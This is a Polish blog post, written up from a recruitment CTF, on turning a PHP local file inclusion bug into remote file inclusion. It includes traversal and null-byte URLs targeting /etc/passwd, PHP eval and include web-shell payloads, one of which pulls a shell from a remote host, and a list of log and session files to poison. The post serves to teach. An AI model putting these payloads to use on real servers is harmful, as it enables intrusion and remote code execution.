LFI2RFI

Ostatnio miałem przyjemność zmierzyć się z pewnym CTF’em (niestety był to wewnętrzny challenge rekrutacyjny pewnej firmy więc nie mogę podzielić się materiałami ani zdradzić więcej szczegółów). Generalnie był to serwer postawiony na maszynie wirtualnej, z której mieliśmy wykraść plik znajdujący się w katalogu /root.

Jak się później okazało jednym z kroków „włamu” jest wykorzystanie podatności w aplikacji webowej. Aplikacja ta posiadała podatność typu LFI (z ang. Local File Inclusion). Jest to dość popularny błąd pojawiający się w aplikacjach webowych.

!Notka: Wpis ten nie dotyczy jako takiej exploitacji błędów typu LFI/RFI, a jedynie podejścia do problemu w przypadku gdy mamy limitowaną podatność typu LFI i próbujemy ja przekształcić w RFI.

W dużym skrócie…

LFI pozwala on atakującemu na załadowanie na stronę (zwykle dowolnego – jesli nie ścieżka nie jest odpowiednio filtrowana i oczywiście w granicach posiadanych uprawnień – najczęściej web serwera) lokalnego pliku. W zależności od kontekstu plik ten może zostać wykonany (np. skrypt php) albo zostanie wyświetlona jego zawartość.

Jak to może wyglądać w praktyce? Powiedzmy, że mamy taki kawałek kodu:

if(isset($_GET['hash'])){
include("user_logs/".$_GET['hash'].".log");
}
...

Przyjmijmy scenariusz, że system przechowuje jakieś logi w katalogu user_logs. Nazwa każdego z tych plików powiedzmy ma format \[a-f0-9]{5}\.log\ i są one listowane w jakimś panelu admina/użyszkodnika. Po kliknięciu w odpowiedni link zostajemy przekierowani do strony, której adres może wyglądać np tak:

http://victim.vm/lfi_test.php?hash=b00b5

Jak widać za pomocą zmiennej hash przekazywana jest nazwa piku logu, który następnie jest includowany i jego wartość za pewne zostaje wyświetlona.

W mgnieniu oka namierzając podatność i stosując technikę Directory Traversal próbujemy wyświetlić sobie jakiś inny ważny dla nas plik np. /etc/shadow:

http://victim.vm/lfi_test.php?hash=../../../../etc/passwd

Jednak skrypt zwróci nam błąd informujący o tym, że nie może odnaleźć pliku /etc/shadow.log

http://victim.vm/lfi_test.php?hash=../../../../etc/passwd%00

Tutaj używając techniki Poison NULL Byte ustalamy „sztucznie” koniec łańcucha danych. Przypomne, że łańcuchy znakowe kończą się zawsze bajtem zero ”, który informuje o końcu łańcucha. Umieszczając %00 na końcu naszej nazwy pliku wywołanie funkcji include będzie następujące:

include("user_logs/../../../../etc/passwd\0.log\0");

Jednak wszystko po pierwszym wystąpieniu bajtu zerowego zostanie zignorowane dzięki czemu pozbedziemy się kłopotliwego rozszerzenia „.log”.

RFI

Remote File Inclusion jak sama nazwa wskazuje pozwala na załadowanie zdalnego pliku.

include("http://www.vict.im/file.txt");

RFI jest znacznie ciekawsze do wykorzystania ponieważ ponieważ nie jesteśmy ograniczeni do plików lokalnych na serwerze i możemy dzięki temu załadować dowolny/spreparowany przez nas skrypt, który zostanie następnie wykonany po stronie serwera. Niestety w naszym przykładzie pliki są includowane z katalogu, który jest ustalony na sztywno jako prefix ścieżki (user_logs/) przez co nie możemy określić chęci użycia protokołu http do załadowania zdalnego pliku.

Do rzeczy…

Ok, więc wszystko ładnie pieknie, ale nadal nie mamy dostepu do maszyny, a jak napisałem wyżej LFI ma swoje ograniczenia, które zwykle nie pozwalają nam wykonać swojego kodu na serwerze, a w szczególności odpalić skryptowego shella. Przydałoby się więc tak wyexploitować to LFI, żeby stało się RFI… jak to zrobić?

Od LFI do RFI

Najlepiej byłoby załadować taki plik lokalny, który będzie posiadał dane, jakie my możemy „wstrzyknąć”. Na pierwszy ogień nasuwają się wszelkiego typu pliki logów, które logują naszą aktywność, dane przeglądarki, itp itd. Jeśli dopisze nam szczęście i uprawnienia nam na to pozwolą będziemy mogli załadować plik, który będzie zawierał np. zmodyfikowany przez nas nagłówek User-Agent.

Inne pliki godne uwagi to np. pliki sesji, lub pliki logów generowane przez skrypt a nie przez serwer, wszelkie pliki, które mamy możliwość załadować na serwer (np. upload zdjęć), itp.

Kiedy już odnajdziemy taki plik, wstrzykujemy tam kod jaki nas interesuje. Może być to zwykłe:

<?php
if(isset($_GET['hckd_cmd'])){
eval($_GET['hckd_cmd']);
}
?>

Lub jeśli pójdziemy krok dalej do wspomnianej konwersji LFI na RFI:

<?php
if(isset($_GET['hckd_file'])){
include($_GET['hckd_file']);
}
?>

lub na sztywno:

<?php
include('http://link_do_shella/shell.txt');
?>

(Zwykle darujemy sobie nadmierne spacje, nadmiarowe litery, entery itp. Gdy wstrzykujemy cokolwiek ma to po prostu działać, a nie ładnie wyglądac.)

Podsumowanie

Może tak się zdarzyć, że mimo wszystko ustawienia serwera nie pozwolą nam załadować pliku „z zewnątrz” (allow_url_fopen/allow_url_include=false albo Windows). Wówczas można spróbować pobrać ten plik najpierw na serwer (np. pobrać za pomocą wget/curl do katalogu /tmp). I wtedy załadować go normalnie za pomocą pierwotnego błędu LFI. Możliwości jak widać jest wiele…

Przykładowe pliki

Poniżej przykładowe pliki, które mogą być przydatne.

Pliki logów (access/error, mogą mieć rozszeżenie .log albo po prostu suffix _log):

  • /etc/httpd/logs/*log
  • /var/www/logs/*log
  • /usr/local/apache/logs/*log
  • /var/log/apache/*log
  • /var/log/apache2/*log
  • /var/log/*log
  • /usr/local/apache/logs/*log
  • /var/log/*log

Często może być jednak tak, że nie będziesz miał uprawnień do oczytania tych plików (w moim zadaniu nie miałem).

Plik ze zmiennymi środowiskowymi (można spróbować nadpisać np. wspomniany typ przeglądarki):

  • /proc/self/environ

Pliki sesji mogą znajdować się w różnych katalogach:

  • /tmp
  • /var/lib/php5
  • /var/lib/php/session

Najczęściej przyjmują format sess_### (nie jestem teraz pewien, ale u mnie zadziałała chyba ostatnia ścieżka). ### to nazwa sesji, można ją odczytać np. z cookiesa.

Jeśli ktoś chciałby doczytać nieco więcej na temat LFI/RFI zamieszczam poniżej kilka przykładowych linków.

Linki

  1. http://hakipedia.com/index.php/Local_File_Inclusion
  2. http://hakipedia.com/index.php/Poison_Null_Byte
  3. http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
  4. http://hakipedia.com/index.php/CURL
Reklamy
Otagowane , , , , , ,

One thought on “LFI2RFI

Skomentuj

Wprowadź swoje dane lub kliknij jedną z tych ikon, aby się zalogować:

Logo WordPress.com

Komentujesz korzystając z konta WordPress.com. Wyloguj / Zmień )

Zdjęcie z Twittera

Komentujesz korzystając z konta Twitter. Wyloguj / Zmień )

Facebook photo

Komentujesz korzystając z konta Facebook. Wyloguj / Zmień )

Google+ photo

Komentujesz korzystając z konta Google+. Wyloguj / Zmień )

Connecting to %s

%d blogerów lubi to: